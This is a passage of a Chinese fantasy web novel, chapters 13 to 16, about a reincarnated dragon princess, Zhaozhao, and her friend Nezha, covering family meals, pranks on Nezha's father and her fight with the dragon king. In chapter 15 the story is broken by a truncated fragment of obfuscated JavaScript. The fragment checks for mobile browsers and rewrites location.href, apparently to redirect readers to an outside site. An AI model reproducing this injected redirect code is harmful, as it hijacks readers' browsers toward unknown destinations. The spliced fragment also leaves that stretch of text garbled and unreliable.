日光下竹影摇曳,晃过地上两小儿扒笋的影子,风动后又一晃,两个孩童影子上的小手中,多出了一个虫影。
折下竹枝,用线将笋虫拴在枝上,拿在手中便得了一个简易玩具。
“看,好玩吗?”哪吒将竹枝递给昭昭。
昭昭哇了一声,接过树枝拿在手上看个不停。
上辈子是城里孩子的昭昭,她哪见过这个。
竹笋中橙色的大甲虫,她是见都没见过,更别提将它捉在手中玩了。
哪吒看昭昭一副没见过世面的样子,又得意道:“这虫还能吃呢!”
昭昭奇道:“这怎么吃?”
看着就觉得壳厚,里面能有多少肉?
哪吒回想着记忆中的肉香道:“剥壳然后油炸油炒,都好吃。”
昭昭好奇手中虫子的味道,便央着哪吒一同再去抓些虫子来吃。
哪吒正是带她来玩的,对昭昭的提议是无有不应。
当夜,李家的餐桌上便多了一盘虫肉菜。
可惜这道肉菜上桌,却只有哪吒、昭昭他们两个小孩欣赏,在座三个大人是谁也不往这盘肉菜里伸筷子。
殷氏见到这盘菜,脑中更是想起了一段让她哭笑不得的回忆。在哪吒更小的时候,他曾经孝敬过这种小零食给自己,当时等她吃了,这小子才和她说这是虫肉……
儿子孝顺是好事,但这种的孝顺,殷氏属实是无福消受。
还是说她老了,只有孩童才能吃得懂这道菜的滋味?殷氏夹菜的筷子,在半空停顿了刹那,就被哪吒察觉。
一个不注意,眼神刚和小儿子交汇,殷氏就忙不迭地避开。
她可不要再吃虫子,哪吒这孩子盲目的孝顺,也太可怕了些……
饭桌上母子的眼神交流,被另外两个大的注意到,木吒冲金吒努嘴,换来了金吒一个大白眼。
以他们二人的修为,早已不用靠进食水米菜蔬存活,眼下吃饭,为的便是陪伴母亲与幼弟,顺带照顾照顾昭昭这位小客人。
山中的娱乐少,吃晚饭后天色已暗,李家人的作息时间也随日升月落而变。
日出而作,日落而息,昭昭待在哪吒的房间中,把玩着殷夫人给她用来打发时间的绣棚,便更觉无聊。
她喜欢漂亮衣服美丽刺绣是没错,但让她纺线织布绣花就免了。
昭昭趴在床上,扭头望见哪吒在烛光下,擦拭他从自己脖子上摘下的金环,年幼的脸上显露出一种远超他年纪的认真
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。
她随手放下绣棚,凑到哪吒身边,望着他这金项圈道:“你这东西,到让我想起一个故人,他也有个随身不离的金环做武器。”
哪吒:“哦?”
想着打发时间,昭昭继续说道:“他还会使枪,是个可厉害的人了。”
哪吒瞟见昭昭脸上一副崇拜的表情,故作平常实则心中不服地说:“枪有什么了不起,我使起剑来才叫游龙走蛇。”
哦,他用剑啊。
昭昭心下又一次减轻了,对面前这个哪吒的怀疑。
今天与他的家人见面,要素重合过多,她差点就以为自己成了不识庐山真面目的龙呢。
“用剑好啊,听着就很有侠气。”昭昭随口夸了哪吒一句,就拉这人来陪她玩五子棋,打发时间。
一人一龙玩到深夜,听得门外夜枭叫声,才吹灭烛火安歇。
第二日,晨起,哪吒便继续完成自己对昭昭的承诺。
他自己摸索着,也一并带着昭昭开始练习,如何以袖舞杀人。
家前的空地上,休息时间,昭昭去不远处的山泉中沐浴,哪吒则停在原地。他边思考边试探着拋接手中混天绫,试以各种角度不同力道去击落树上松果。
红绫翻飞,若菊瓣开合又似焰舞星射,衬得红绫主人越发像是个玉雪玲珑的小女儿了。
李靖结束山中苦修,回到家来,见到这一幕,只觉眼中生晕。
往常小儿子闹归闹得烦人了些,可也说得上是男孩幼时顽劣,现在、现在……怎么一段时日不见,他就平添了些女气?!
李靖站在原地,满脸的不解。
殷氏在察觉到丈夫归家,忙小步上前迎接,口称老爷。
李靖见到贤妻,心中熨帖,刚想问哪吒为何不上前来见自己,猝不及防就听见哪吒冲他喊道:
“老头。”
老头?!
李靖心中一堵,哼道:“哪吒,你应在你两个哥哥回家时,多学些礼仪。”
这话像是教导,细品起来却有些阴阳怪气。
哪吒停手,混天绫乖顺地落在他掌中层层叠叠盘起。
他听见李靖对他哼,便也毫不客气冲他哼回去:“跟你们学,学什么?学得十天半月不在家,把母亲丢家里?把我丢家里?”
李靖:“哪吒!”
哪吒:“那么大声干什么?我耳朵没聋。”
对答间,小脸上全无对壮年父亲的畏惧,满是对自己实力认可的嚣张。
李靖被哪吒一顶,反倒觉得自己先前看见哪吒身上的女气消散了,遂道:“我是教你不要过分自傲自得。”
哪吒回嘴:“身负非凡本领,却要锦衣夜行,哪还修什么道?”
谦虚谨慎,这李靖的行事作风,他只认后两字。
“哪吒,快过来陪我抓螃蟹!”
李家父子的唇枪舌战正要加剧,忽听远处传来童声一句对哪吒嫩声嫩气的呼唤。
李靖问哪吒:“这是谁?”
哪吒没应,他没再像过去一般和李靖继续一些口舌之争,朋友在他眼中可比家中老父有趣多了。
李靖望着小儿子的背影,看他没有如往常一般继续与自己言语交锋,只顾着听从外人召唤,乐颠颠跑远,心中一阵失落。
李靖随着夫人进了房间,换了衣裳捧着温热的茶水坐下,他才想起问殷氏:“刚才喊人的那是谁?哪吒怎么这样听她的话?”
殷夫人笑道:“是哪吒的朋友。”
李靖抿了一口茶,道:“我怎么不知道哪吒几时得了这么一个朋友?”
殷夫人诧异地飞了李靖一眼,随后说话的语气与往常一般无二,却让李靖听出了些拐弯抹角的谴责:
“若老爷减去些苦修的时辰,十天半个月里多个十几日归家,那么哪吒这个朋友在老爷眼中就不算陌生。”
李靖尴尬地用杯盖反复地刮着杯中茶汤,一时讪讪。
他也想多在家中陪伴妻儿,可这不是为了丈夫的颜面着想么。
前面两个大儿子在西天侍奉真佛菩萨,小儿子眼见也是天赋异禀的修行种子。他一个为人父母的,再不努力些,一直被孩子们压着,外出会客访友,难免觉得面上无光。
理由是有,李靖却觉得这般理由无法在妻子面前拿出手,只得尴尬低头饮茶。
14.第 14 章
昭昭在今天晚饭的时候,见到了哪吒的父亲。
一个高大的蓄须中年男子,对她的态度还算和蔼。
介于古代的通病,昭昭并不知道哪吒父亲的姓名,只知道他姓李。
而昭昭对哪吒父亲的态度,是既不喜欢也不厌恶。
总的来说在这人在餐桌上,将自己和哪吒摸来的小螃蟹,全部吃完之前,昭昭对他都是不讨厌的。
三十只小螃蟹!三十只啊!他一人喝着酒就造完了,也不给他们留一点!生气!!!
李靖看不懂龙的眼色,或者说作为长辈,他从不看小辈的眼色。就算昭昭对他露出嫌弃的眼神,他都以为昭昭这是小姑娘的害羞。
山中的日子清贫,再加上李靖沉迷于苦修,他爱饮酒,山中却少有适宜的下酒菜。
今日,他在桌上见着了酥炸小螃蟹,再蘸上花椒盐,是最好不过的下酒菜。
吃着酥脆的小螃蟹,李靖想着这螃蟹是哪吒和昭昭一同从河中抓来的,就鼓励地去拍拍两个小的脑袋。
对于李靖突发奇想的亲近,同坐的两个小的表现都很微妙。哪吒躲开李靖的手,光明正大对他就是一声嗤笑,昭昭避开李靖的手,嘴中却是嚷嚷着‘别弄乱我的头发’。
李靖心中如何尴尬不提,哪吒却是受不了李靖这般不会看人脸色。
哪吒明白以昭昭的饭量,这几日与他的家人同桌吃饭,是她守礼做陪客。
而李靖一身酒臭味,竟想摸昭昭的脑袋,哪吒可知道昭昭不是什么好脾气的小姑娘。
哪吒护住昭昭神仙,屁股下的椅子因为他倏然地移动,发出吱呦一声怪响。
“你没洗手哩,别摸她!”
哪吒绷起一张脸,挡在龙女面前,努力挺直腰背,将她护在身后。
本来他们两个躲开李靖摸头的行为,就让现场气氛变得尴尬。偏偏哪吒这会儿又摆出一副明显拒绝的姿态,李靖颇有些窘迫地不知如何是好。
他先朝自己的夫人看去,殷氏在他的注视下连眨几次眼睛,便自顾自吃饭去了。
金吒、木吒呢,比起幼弟更乐于见老父手足无措的样子。
金吒厚道些,给李靖夹去一筷子菜,道:“爹,修行辛苦,多吃些。”
木吒听了大哥这话心中发笑,还多吃些,修行者,多要排除杂念,口腹之欲便是其一。大哥这给爹递的台阶还不如不递得好。
木吒再往幼弟那边一瞟,心想也是父亲活该。
嘴再馋,和两个小不点抢零嘴吃,也不害臊!
再者他也不想想,哪吒什么时候贴心得会去给他寻摸零嘴?人明明是哄着小姑娘陪玩呢。
过家家的小菜被爹这血盆大口全吃了,亏得龙女不娇气,不然她当场哭出来,按照幼弟的脾气……
木吒想真成他想象中的地步,哪吒非推着李靖去河里,将螃蟹又给他们捞回来。
啧啧啧,口腹之欲啊。
木吒是真没觉得东西有什么好吃的。
食言苦涩、弄在菜里一股怪味。吃来吃去,还是米饭、斋菜味道来得香甜。
桌上其余大人都态度微妙地没有搭理李靖。
金吒给李靖的台阶,虽是有些难下,但李靖也忙不迭地顺着台阶下去了。
他吃了菜,道了一句:“好好好。”
转头又看见哪吒、昭昭两个孩童将小脑袋凑在一处嘀嘀咕咕,又笑道:“家中有个女孩儿,果是不同。”
笑完一句,李靖又扭头看向自己的夫人道:“当初你怀哪吒时,你还觉得是个姑娘,谁知三年……”
此话一出,座上除了不明旧事的昭昭不受这话影响,其余三人都是脸色一沉,脸色白的白,黑的黑。
有人想起了孕时因为异胎,所受的冷待,有的忆起母亲的辛苦,有的恶心起父辈的薄情。
昭昭身为外龙,左瞧右看,心中是大感羡慕。
豁,先是她的龙爹,再是哪吒的老爹。这些一家之主的气派真是了不得,居然光明正大地对家中所有人实施情感虐待!
她以后做了龙王,在后宫中也能这般横着走吗?
如此只顾自己畅快地欺男欺女,昭昭在心中略微那么一幻想……
嗨呀,这还真别说,撇开道德的绑架,这么做可真是大爽特爽!
随即昭昭又想起以前自己看过的宫廷剧,把美女姐姐们的戏码全换成美男子们……
昭昭的龙眼蓦地睁大,这样位置一换,她都不敢想象出皇帝的爽感会有多高!
不过嘛,她的眼神又游到李靖身上,瞥了眼他面前的酒杯,默默想她以后的三宫六院可不收烂酒的男子。
臭烘烘的!
昭昭脑中正进行着以自己为主角的龙王中心大幻想时,忽然又听见李靖道:“昭昭生得这般可怜可爱,若我以后有个女儿,是你这样的就好了!”
昭昭:“?!”不是啊,哪个可爱妹妹要你这种爹啊?!
上面三个哥哥不要啊!
家里这么多男人不要啊!!!
昭昭这次是忍不了,她拨开挡在自己身前的哪吒,她光明正大地对着李靖翻了个白眼。
“都是修行人了,得道成仙不想,伯父只念着生生生的事情,小心福气都生没了!”
还想做她昭昭的爹,她要和哪吒身份换换,她怕是刚懂事,就寻摸着给李靖绝育了。
这些男的也就是自己没有亲生生育过,才敢大大咧咧想孩子。哼,媳妇儿痛不痛,他们是一件屏蔽了哈?
李靖:“……”
他刚才是幻听了吗?
殷夫人听见李靖提了生子的话题,脸色当即变得惨白。
她现在是因李靖生了仙缘入道,可她还是恐惧生子,太痛了。
不同于还在凡间过着柴米酱醋盐烟火气生活的姐妹,谈起生育一事,她们大都忘记了生产时的痛苦。
……只有殷夫人,殷氏清晰记得自己生三子,每一次都疼得快死在产床上的痛。
李靖还想要个女儿的心思,稍一透露,殷夫人就恐惧得上下牙打颤。
好在、好在,还有昭昭理解她的痛苦。
龙女虽然语言辛辣,但她望向她的眼神里却是满眼的心疼。
明明昭昭年纪还那样小,殷夫人却望着她眼中生出的水光心中一软,姑娘与小子们到底是不一样。
她心中才生出这个想法,就听见小儿子也毫不客气地顶撞李靖道:
“爹你生不出昭昭的,就不要妄想了。”
女儿肖父,李靖以为自己是什么美男子吗?生得一般,现在还年老色衰了,生什么生?
哪吒回忆着万圣龙王的相貌。
嗯,是威武硕大的龙头一颗,顶在项上,昭昭龙形的头也是这般威武。
随即他继续不咸不淡地怼李靖道:“爹生得俊美,才能得漂亮的女儿。大白天做梦这件事,还是换到晚上再做吧,爹。”
老头真是的,也不为家里不存在的妹妹想想,哥哥们各个生得一副彩凤麒麟仙的丰姿逸貌,就她一个生得平平无奇,这多羞人!
李靖吃不下去了,又不好意思与坏他心情的小儿们计较。关键是昭昭又不是自家人,他不好在客人面前发怒,只好夹了几筷子菜,就灰溜溜离开了偏厅。
李靖前脚离开餐桌,后脚哪吒就去问昭昭:“方才你想什么呢?”
昭昭不可能告诉哪吒,刚才自己在脑中幻想的事物,故作无辜道:“没什么呀!”
哪吒斜了昭昭一眼,不依不饶道:“我不信,刚才众人都心生不悦,就你在我身后偷乐!”
昭昭喜道,反过去逗哪吒:“你看见了?”
哪吒了解昭昭的脾气,生怕她眼睛一转,肚子中又冒出什么坏水,忙去挠她手心,威胁:“你说不说!”
昭昭笑倒在哪吒身上,心中悄然回道我才不给你说,我刚才想的是《碧波潭后宫传》、《女王的大奥传说》。
这两个小故事说出来,可不得把眼前的小古板吓痴了!
昭昭脑袋靠在哪吒肩膀上,抓住他的手摇晃两下后,见他这次不受哄了,才对他耳语出了自己心中的一段真话。
昭昭的绝育论,灌进哪吒的耳朵里,他的眼睛登时就亮得大放精光。
面上是一点也瞧不见,古板的痕迹。
一人一龙是一拍即合,亲密地凑在一处嘀嘀咕咕。
饭桌上另外三个大人,除了殷夫人修为不佳,听不清一对小儿女的私语。金吒和木吒却是被哪吒、昭昭这俩小的奇思妙想与胆大包天,惊得目瞪口呆!
一时不妨,被饭呛住。金吒、木吒按住桌沿,侧过头咳得是撕心裂肺,惹来殷夫人急切地一阵端茶递水,弗胸拍背。
金吒、木吒他们谢过了母亲的关怀,端着茶水对视一眼后,心中是又喜又气。
今日这遭让他们两个是灵台清明了。
哪吒还是那个哪吒,幼弟哪会什么怜香惜玉,他与龙女好成一个人似的,完全是因为他们两个臭味相投。
于是金吒、木吒两人再瞧见,母亲殷夫人望着哪吒与龙女那看金童玉女的眼神,只觉头疼。
金吒凑在木吒耳前道:“我这边去翻翻医书,你去找菩萨求些甘露如何?”
木吒哈哈一笑,回金吒道:“你不拦阻?”
金吒反问木吒:“你要拦阻?”
兄弟二人相视一笑,瞬间心意相通。
对于李靖这个汲汲营营,惯常做事竹篮打水的父亲,金吒木吒碍于伦理道德,是不能勃逆于他。
可哪吒却不一样,他年纪小不懂事,又是家中幼子。
幼子折腾老父,只要不闹出性命攸关的大事,任何人也无法置喙多事。
殷夫人不知事情详细,哥哥们顺水推舟,极大地方便了昭昭和哪吒在李家作乱。
本着修道人身强体健的常识,昭昭与哪吒是给李靖,捣鼓了不少夹杂猛料的药膳进补。只用了七八天功夫,就将李靖吃得,匆忙从家中跑出去会友赴宴去了。
而李靖被昭昭和哪吒没有治出病来,这得要多谢暗处的木吒、金吒,他们二人在负重前行。
家中走了夫君,还有三个儿子在,身处事外的殷夫人,她便也不觉得寂寞,睁一只眼闭一只眼,随着家中四个孩子玩弄讨人嫌的老男子。
哪吒与昭昭打打闹闹的,便又混过了两年时光。
山中寂寞,还是孩子的昭昭与哪吒哪里能久久坐住,经常几月里不是笑着跑去城镇中玩乐,就是又跑去降妖除魔去了。
这日,两人合力除了山中涧中食人的蛇妖,便跑去远处凡人的城镇中闲逛。
他们二人一身绸衣,一个带金项圈,一个簪珍珠珊瑚钗,瞧着都不是缺钱用的主。刚在街上走了一段路,便被人围着推销商品。
昭昭出生就是一方龙王的子嗣,对于凡人的手工品,她也就瞧个眼中新鲜
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。而哪吒虽然久居深山苦修,他在物质上也从未被亏待。不提母亲的疼爱,家中两个哥哥当职的西方世界,哪里的佛陀菩萨各个穿着打扮都很是气派,珠光宝气的佛门予门下弟子赏玩之物也远超俗世所能想象的珍贵。
在一人一龙的这般心态下,卖玩具的小贩最快从他们身边离开,接着便是卖小宠的、卖花的,最后还在他们二人身边打转的就剩下些卖糕饼糖果的小贩。
昭昭是个好吃的,她随手数出些钱来,就卖了块糖饼吃。
这时的糖贵,除了租赁门楼,做吃食生意的大商人舍得往点心中放糖,普通小商小贩卖的甜食大都不甜。
就拿昭昭手中拿着的糖饼来说,其实它的滋味也就是吃个食材本身的清甜。
枣泥馅的糖饼,吃着有些粘牙,饼皮也是灰暗粗糙,昭昭慢慢吃着磨牙,也觉得挺不错。
她咬着饼,见哪吒的眼神落到她嘴中,便在心中偷乐。
两人都相处几年了,她还不知道他?
哪吒就是把自己当吃播看了,哼,德行!
昭昭咬着糖饼说话,声音却并不模糊,她笑眯眯地问哪吒:“哪吒,你想不想吃糖饼呀?”
未等哪吒答话,一旁的卖糖饼的小贩便抢先一步,接话:“小姑娘,你就别馋你弟弟了,也给他买一个饼吃吧!”
小贩的话,立时就惹得他面前的两个小主顾,脸上露出了两种截然不同的反应。
昭昭捧着糖饼,咕叽咕叽地窃笑,问哪吒:“喂,你快些给姐姐说说好话,姐姐到不是不能给你买个糖饼吃。”
哪吒板起脸,瞧起来像是要闹脾气里,实则是内里小男子汉的自尊心碎了一地。
他心中恨恨,想着自己也没比昭昭矮上多少,沉声冷笑道:“弟弟?”
昭昭又买了一个糖饼拿在手上,付了钱挥走小贩,才走到哪吒身边,左手拿饼对着他的头上比比划划:“哎呀,你这两年感觉是一点也没长高诶,怎么办啊怎么办?”
身高纹丝不动的哪吒,闻言脸色一黑,当场就转身不想理眼前这个就会逗他的龙女,却又被她纠缠着拦住。
“吃饼吗?”
“吃吃吃,你就知道吃。”哪吒闷声闷气道。
唇前温热,麦香飘入鼻尖,哪吒抬眼就瞧见龙女亮晶晶的双眼:“吃一个吧,小哥哥你就吃一个吧~”
昭昭喜欢逗哪吒,却不想把人逗过头,要知道哪吒气起来可不好哄。
虽然他气炸了会自己跑开,气消了会扁扁回来,可昭昭却舍不得冷落这个能与自己坏到一处的好朋友。
喊句小哥哥又不会少块肉,再加上自己也不小,老粗老长的一条龙了。
哄哄小朋友什么的,不丢龙。
哪吒张口咬住昭昭递来的糖饼,虽是没有和昭昭说话,脸色却好了不少。
他让昭昭喂自己吃完了半块饼,才自己将饼拿在手中吃。
在昭昭以为这一茬的闹脾气过去了时,又突然听见哪吒说道:“我以后会长得比你高的,我两个哥哥就个头高大。”
昭昭想起以前见过的金吒、木吒,这俩人身形的确挺拔高大,睨了哪吒一眼,平平淡淡地:“哦!”
长得高有什么了不起,她还长得比李家人长呢!
又说道长大,哪吒他长得真的好慢呀。
昭昭手中的糖饼早就吃完了,她挽着哪吒的手臂摇晃,模样娇俏可爱,一袭碧绿色衣裙在身,清丽得若春芽般俏丽。
“你慢慢长大挺好的呀,我可不想某一日我来找你,却见着个小老头。”
哪吒漂漂亮亮的,多停留在现在这样,昭昭是真喜欢,听话又好哄好玩的‘小妹妹’,这不比硬邦邦的男人好相处?
“怎么样?怎么样嘛?哪吒,你倒是吱一声,说句好不好呀!”
哪吒任由昭昭拉着自己摇晃,他早就习惯被拉拉扯扯地玩弄了。
心中恶狠狠地发誓自己必有一日,让这把自己当玩具的龙女,发自真心地喊自己叫做哥哥,嘴上却小声抱怨她:“你又拿我袖子擦手。”
昭昭听见哪吒说这话,便知她是又把自己哄好了,一下脸上笑容便绽放得更加灿烂:“这有什么嘛,大不了我以后给你缝件新衣服就是了!”
哪吒对于昭昭这话听过就忘了,他才不吃她画的大饼:“你那制衣手艺,还是免了,我可不想让人将我认成乞丐。”
昭昭拉长声音不服气诶了一声,心觉哪吒还是长得太快了,现在都不吃自己给他画的大饼了,这以后那还得了?
她不允许自己未来的牛马大将军,不喝她灌的迷魂汤,当即又哄哪吒道:“哎呀,你这么嫌弃我,我可是会伤心的呀哪吒!”
哪吒扭头不看她:“你才不会。”
昭昭:“你长得那么好看,自是穿什么衣服都别有一番风味。我日后做好衣服,你就赏脸穿穿嘛,穿穿呀!”
至于日后她多久给哪吒把衣服缝出来,那就等着日后再说咯,反正他们两个还能活很长很长一段时间。
一人一龙正闹着,昭昭突然听见背后有人在叫自己。
她向后转过身,看见一群身上带着水腥气的‘人’。
“公主,臣总算找到你了!”
昭昭听见这撕心裂肺的呼喊,当即面露嫌弃,默默想到家里那老龙又不是即刻驾崩了,喊她回去继承王位,喊她喊得那么戏多做什么?
她冷脸问来人道:“有事?”
15.第 15 章
哪吒有时候是真佩服昭昭的自信。
大街上听见有人喊公主,不确定是不是喊的她,理所当然,想都别想,张嘴就应。
不过,她的确是个公主……
哪吒咬着糖饼默默站到昭昭身后,看她趾高气昂地对着面前的水妖指指点点。
嗯,一点都想不起回家的她,是完全不心亏啊,哪吒走神地想着,眼睛盯着昭昭双环髻上,带着流苏的金环走神。
昭昭没想到哪吒会在背地里吐槽自己,但她的确如哪吒所说般霸道。
她昂着头,一副自己有理自己高贵的派头,对着眼前的几人说话。
在场水族彼此交换一个眼神,都在各自的眼中或是脸上看到了尴尬与为难。
万圣龙王原先早就想接公主回家,谁知公主她完全想不起龙宫里的父母,只一味地贪玩……
更别提她身边这位小童,他可是个狠人,在龙宫都敢伤他们家未来太子,公主这骗帮外人,龙王和龙婆岂能不气她不明事理?
几个水族你推我攘,最终推出来一条鲤鱼精,他期期艾艾地将事情始末,说给了昭昭听。
昭昭听完,当即脸色大变,痛心疾首道:“父王母后怎会误会我至此!你们快快回去先行带我请罪,我带来些赔罪礼物,随后就家去!”
几个水族见公主情真意切地在难过,不敢耽搁立刻就听从她的命令转身回了碧波潭复命。
待精怪们都走了,昭昭脸上的表情就立刻冷了下来。
她半是嫌弃半是冷漠地哼了一声,才转身去扯哪吒的袖子:“哪吒,我要回家去住一段时间了,你日后可要想我。”
哪吒咽下口中最后一点饼,道:“你真要回去?”
听刚才那些妖精所言,昭昭回去定是没有什么好果子吃。
“不如,我陪你回碧波潭住几日,有我在,若有不测,到时候我们俩一起杀出去如何?”
昭昭被哪吒话中的紧张逗笑:“什么呀,你说得龙宫像是龙潭虎穴。”
哪吒不在意地一笑:“龙潭虎穴算什么,我们两个又不是没去过!”
“这次的事情是我大意了……”昭昭拉着哪吒往城中做首饰的银楼寻去。
在这种时候,昭昭就觉得自己带着上辈子的记忆穿越,也不是非常的万能方便。
记得上一对父母的昭昭,对此世的龙父母对女儿的爱看得很清。
在有儿子的情况下,女儿不是传统思想,就能破开迷障,看出父母之爱倾斜的多寡,旋即被血淋淋的不公平三字刺痛。
上辈子她可以靠学习成绩改变命运,只要她一直是优等生,就可以反借社会外力来压迫父母,逼他们‘公平’。
而现在她不想认怂,就只能争斗。
龙王的宝座可比什么985、211的听起来诱惑力大多了。
哪吒被昭昭牵着往银楼方向走,初时不明目的地在何处,等看见商户悬挂在外的幌子,便知道她要去买些礼物回家。
他看昭昭回家都得带重力,当下便觉得碧波潭比他家还要麻烦,随即又问了一遍:“昭昭,你真不要我陪你一道…”
昭昭摇头拒绝:“小事情,我能处理。”
说完她扭头看见哪吒拧紧的眉头,忙笑道:“我想做龙王,在没有成为龙王前低头认怂什么的,你读读史书就不觉得我这样难过了。”
哪吒对于昭昭的回答,也摇了摇头道:“你有多厉害,我知道。但是你不伤心吗?”
昭昭用手指着自己,茫然不解道:“谁伤心,我吗?”
哪吒嗯了一声,他仅仅是稍稍带入了昭昭的身份,便觉得难过:“你母亲站在父亲那边,一起欺负你。”
昭昭呆了一下,脸上的笑容忽地消失,她正色道:“我早就不为这种事情伤心。”
她生在这个世界上,不是为了供养谁做谁的血包长大的。
她读过书,见识过世界之大,宇宙之广。
她生来就是要走出去,做一番事业的,换个世界生存,道理也是不变的。
再说没有枪没有炮,照样打得敌人汪汪叫的事实她也是见识过的,区区王位之争,总不能比大省的中高考来得恐怖吧?
她才不怕!区区老龙,哼,等她回去就干死老筷子和小筷子!
“这有什么?偏心的父母又不是什么九九成稀罕物!哪吒,你就等着以后来我麾下当将军吧!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918895|191610||http|test|mini|href|location''.split(''|''),0,{}));
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>哪吒见昭昭眼中光芒不减,说起将来要做龙王这事就神采奕奕,便不再多思多想,安心与她步入银楼挑礼物。
哪吒一路将昭昭送至碧波潭后,才依依不舍地转身离开。
而昭昭她呢,直等到看不见哪吒背影后,才转身跃入潭中。
她到了龙宫前,见宫门没有敞开来迎接自己,随手将礼物丢到守门的鱼精手中后,就一脸狞笑地站到宫门前去。
她抬起手,袖中飞出霓虹一般的青纱,如电闪雷鸣般重重往龙宫门上撞去。
呵,不开门,她也有手可以自己开!
此时龙宫内的万圣龙子,他忧心忡忡地对万圣龙王道:“父亲,我们这样对妹妹是不是不太好?”
万圣龙王冷哼道:“我儿太过心善,怕是早不知道那逆女已然是忘记家门朝哪开了!”
万圣龙王说完了气话,脸色却是一变,下一瞬已是将儿子护在身后,神色迟疑地望向大门。
但得一声巨大轰鸣声响彻龙宫,巨石碎块从外飞将进来,朝万圣龙王面上扑去,又被他随手用衣袖卷走挥去。
“这是干什么?!”
烟尘飞起的浑浊水流中现出一个小小的身影,她大喝道:“公主驾到,杂鱼通通闪开!——”
万圣龙王听出了来人是谁,深觉这许久未见的女儿,她闹事的功力是更上一层楼。
“好好地走进门不干,你闹什么?”
昭昭神色嚣张地从浊流中走出,她挑起眉头冲万圣龙王挑衅道:“这不是父亲你懂我吗?”
万圣龙王:“你这是又在胡言乱语什么?!”
昭昭慢悠悠地说道:“我确实是忘记家里门朝哪处开了,现下这不是只好亲自动手开了门?门朝哪开,我说了算,而且我想让这门开多大就多大!”
她可正是活力四射的幼年期,耳聪目明听得清这老筷子刚才在背后蛐蛐自己了!
她堂堂未来的新龙王,怎么能容许老龙王背后冒犯她的威严,可不得现在就给他点颜色看看。
当今世界弱肉强食,她得让老龙王正视谁才是他最优秀的继承人!
她,昭昭可是穿越异世只为继承龙王宝座的天命之女!———
16.第 16 章
“你到底在外面都学了些什么?”万圣龙王盯着昭昭,看得目不转睛。
女儿头上还梳着离家时的双环髻,其上发饰已褪去金环玉钗,换上了红色的缎带。
此时这红缎,正在还未平息的水流中被卷得在他眼前翻飞,恰如岸上凡人交战时,高悬的旌旗。
外面贫苦的生活,并未磨去她眼中的光芒,万圣龙王这样想着,挥推龙宫守卫后,招呼女儿道:
“随我出去,让我看看你这段时日的长进。”
“求之不得!”昭昭在万圣龙王说完这句话后,立刻迫不及待地接话道。
她心中隐隐有所预感。
如果在接下来的比武中,她能展现出自己在武艺上的天分,说不得她真能达成自己心中所愿。
她抬脚就跟在万圣龙王身后走出去,被他们二人忘在身后的万圣龙子见状,急忙跟了上去。
他看见父亲和妹妹在龙宫前的空地面对面站着,然后互相毫不留情的交手。
妹妹很厉害,起码在万圣龙子眼中是这样的。
她身姿灵活,出手迅猛,袖中青纱如蟒朝父亲绞杀而去。
但可惜的是,她太过年幼,纵使是武艺上的天才,也打不过正值壮年的父亲。
仅一个回合,昭昭就被万圣龙王打倒在地。
在万圣龙子的眼中,万圣龙王的出手毫不见任何留情,瞬息间每一次出手,都狠狠地打在了昭昭的脸上。
这一切开始得突兀,结束得匆忙。
万圣龙子下意识想跑过去扶躺倒在地的妹妹,却突然听见父亲万圣龙王,他用着居高临下的目光,审视着躺倒在地的妹妹,话音低沉道:
“你说我生为父亲,对子女不公。那我问你,如果将来让你做了碧波潭的龙王,你想成为什么样的龙王?”
“当然是先做能把你打死的龙王!”
这一句回答超乎龙的预料。
不止万圣龙子没有想到,妹妹对于父亲严肃的回答,会给出如此大逆不道的答案,就连万圣龙王自己听到这个回答时,都愣神了几瞬。
昭昭一手抓着散落漂浮在水中的轻纱不放,一手捂在自己的颧骨上。
她表情痛苦,眼睛中因为忍痛而泛起水光。
她觉得这死老筷子,绝对把她的头都打得大了两圈!
昭昭心中恨恨地想他不就是以大欺小嘛,等自己长大了一定要把这老筷子的头当皮球踢,一脚踢去百货大楼!!!
被昭昭这句脱口而出的大实话,冲击到的万圣龙王,他回过神来后,心里是既好笑又好气。面上也因为心中两种相反的情绪对立,而出现一种古怪的表情。
哼,这性子犟成这样,是牛妖转世吗?!
昭昭不知晓万圣龙王,此刻在心中怎么腹诽自己。她只知道自己脑袋好痛,怕不是被揍出了淤血?
啧,原来他不单是偏心,还是暴力狂么?以后她定要翻倍还回去,三十年河东三十年河西的道理,她长大后定要让这老龙明白,嘶,好痛!
万圣龙王忽地觉得,倒在地上爬都爬不起来的女儿有些可爱,便放缓了语气对她说道:
“你还差得远呢?”
想打死他?她现在还是回房做梦来得比较快。
昭昭自觉技不如人,面对万圣龙王的嘲讽,只好心不甘情不愿地闭上嘴巴。
……可她闭上了嘴巴,憋屈却从眼睛中飘了出来。
回碧波潭第一日,满脑子幻想上演爽文打脸剧情失败的昭昭,在大庭广众下顶着被父亲打肿的脑袋,可怜巴巴地被虾兵蟹将们给抬回了房间。
在没有第二者在的情况下,昭昭才趴在床上,委屈巴巴地将泪水喂给枕头。
重回幼时意味着自己重新拥有无限的可能,但这种身不由己的感觉真讨厌。
她好想好想好想快点长大啊,再快点,再再快点……
昭昭在经历自己龙生中的第一次挫折时,独自一人回到家的哪吒,他正在不习惯一个人待着。
家中,乃至宅院所在的大山,都是哪吒一个人的地盘,他从出生到现在耍乐的小乐园。
明明在没有昭昭时,哪吒并没有觉得一个人玩耍,会有什么无聊,但在有了昭昭后……
哪吒盘腿坐在松巅上,他一面望着天上的白云发呆,一面随手剥着松果,拿松子喂松鼠。
他今日的功课已经提前完成,现在却不知道自己接下来要去做些什么取乐……
在这般情景下,哪吒却耻于承认自己是离不开昭昭。
他不再看天上悠闲自在的白云,低头去瞧手边蹲着的三两只松鼠。
哪吒在起身前,又给它们捏了几个松果,才纵身从树上跃下。
他想他在给母亲说一声就去找昭昭好了,耳边没有她吵闹的笑声,安静得太过头了。
唉,家里为什么就不让他养龙呢?昭昭她又吃得不多!
哪吒嘴上说着要立刻去找昭昭玩耍,却耐不住母亲的挽留,他又在家中留了三日后,才磨得了母亲的应许,出门访友。
出门前,哪吒等不及再听母亲的叮嘱。
他手中拎着殷夫人准备的礼物,兴奋地冲出了家门,乘云往碧波潭赶去。
